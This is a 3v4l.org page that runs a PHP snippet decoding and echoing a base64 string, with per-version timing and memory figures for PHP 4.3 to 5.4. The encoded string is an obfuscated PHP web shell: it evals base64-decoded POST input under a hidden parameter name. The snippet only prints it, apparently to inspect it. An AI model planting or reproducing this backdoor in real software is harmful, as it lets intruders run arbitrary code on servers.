3v4l.org

run code in 300+ PHP versions simultaneously
<?php $str = 'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9=='; echo base64_decode($str); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.310.0060.04112.49
5.4.300.0120.04312.49
5.4.290.0040.04112.49
5.4.280.0120.04512.39
5.4.270.0030.04012.39
5.4.260.0070.04312.39
5.4.250.0030.04012.39
5.4.240.0100.03212.39
5.4.230.0080.04212.38
5.4.220.0050.03712.38
5.4.210.0060.03412.38
5.4.200.0060.03712.38
5.4.190.0090.03312.38
5.4.180.0080.03612.38
5.4.170.0070.03612.39
5.4.160.0070.03712.38
5.4.150.0060.03912.38
5.4.140.0050.03812.07
5.4.130.0090.03612.05
5.4.120.0030.03712.02
5.4.110.0050.03712.01
5.4.100.0070.03312.02
5.4.90.0050.03712.01
5.4.80.0070.03612.01
5.4.70.0120.02912.01
5.4.60.0100.03012.01
5.4.50.0060.03412.00
5.4.40.0070.03312.00
5.4.30.0070.03411.99
5.4.20.0070.03511.99
5.4.10.0080.03611.99
5.4.00.0070.04011.48
5.3.280.0070.04012.71
5.3.270.0090.03712.73
5.3.260.0100.04012.71
5.3.250.0080.03812.72
5.3.240.0050.03912.72
5.3.230.0130.03912.71
5.3.220.0070.04012.68
5.3.210.0050.03912.68
5.3.200.0060.04112.68
5.3.190.0120.03312.68
5.3.180.0060.03812.67
5.3.170.0050.03712.67
5.3.160.0050.03812.67
5.3.150.0060.04112.67
5.3.140.0090.03612.66
5.3.130.0070.03812.66
5.3.120.0090.03612.66
5.3.110.0100.04312.66
5.3.100.0040.03912.12
5.3.90.0050.03712.08
5.3.80.0070.04112.08
5.3.70.0090.03212.07
5.3.60.0060.03512.06
5.3.50.0070.03512.00
5.3.40.0100.03211.99
5.3.30.0100.03311.95
5.3.20.0090.03511.73
5.3.10.0070.03511.70
5.3.00.0060.04111.68
5.2.170.0110.0309.18
5.2.160.0050.0329.18
5.2.150.0060.0339.18
5.2.140.0110.0349.18
5.2.130.0090.0389.14
5.2.120.0110.0319.14
5.2.110.0080.0269.14
5.2.100.0050.0299.14
5.2.90.0040.0309.14
5.2.80.0070.0319.14
5.2.70.0030.0399.14
5.2.60.0080.0299.09
5.2.50.0030.0319.06
5.2.40.0030.0309.04
5.2.30.0070.0299.02
5.2.20.0050.0299.00
5.2.10.0060.0278.93
5.2.00.0050.0288.79
5.1.60.0050.0298.07
5.1.50.0040.0278.06
5.1.40.0030.0258.05
5.1.30.0040.0268.40
5.1.20.0040.0268.41
5.1.10.0050.0258.14
5.1.00.0060.0248.14
5.0.50.0040.0196.62
5.0.40.0020.0206.48
5.0.30.0030.0316.29
5.0.20.0050.0186.26
5.0.10.0010.0236.25
5.0.00.0030.0316.23
4.4.90.0030.0154.78
4.4.80.0020.0164.75
4.4.70.0030.0204.76
4.4.60.0060.0164.76
4.4.50.0000.0184.77
4.4.40.0030.0254.70
4.4.30.0040.0214.76
4.4.20.0040.0204.84
4.4.10.0020.0164.85
4.4.00.0020.0264.76
4.3.110.0020.0164.67
4.3.100.0050.0134.66
4.3.90.0020.0154.63
4.3.80.0010.0264.59
4.3.70.0030.0224.63
4.3.60.0040.0154.63
4.3.50.0040.0204.63
4.3.40.0050.0224.53
4.3.30.0010.0173.28
4.3.20.0020.0163.26
4.3.10.0020.0163.23
4.3.00.0070.0176.93

preferences:
136.23 ms | 1394 KiB | 7 Q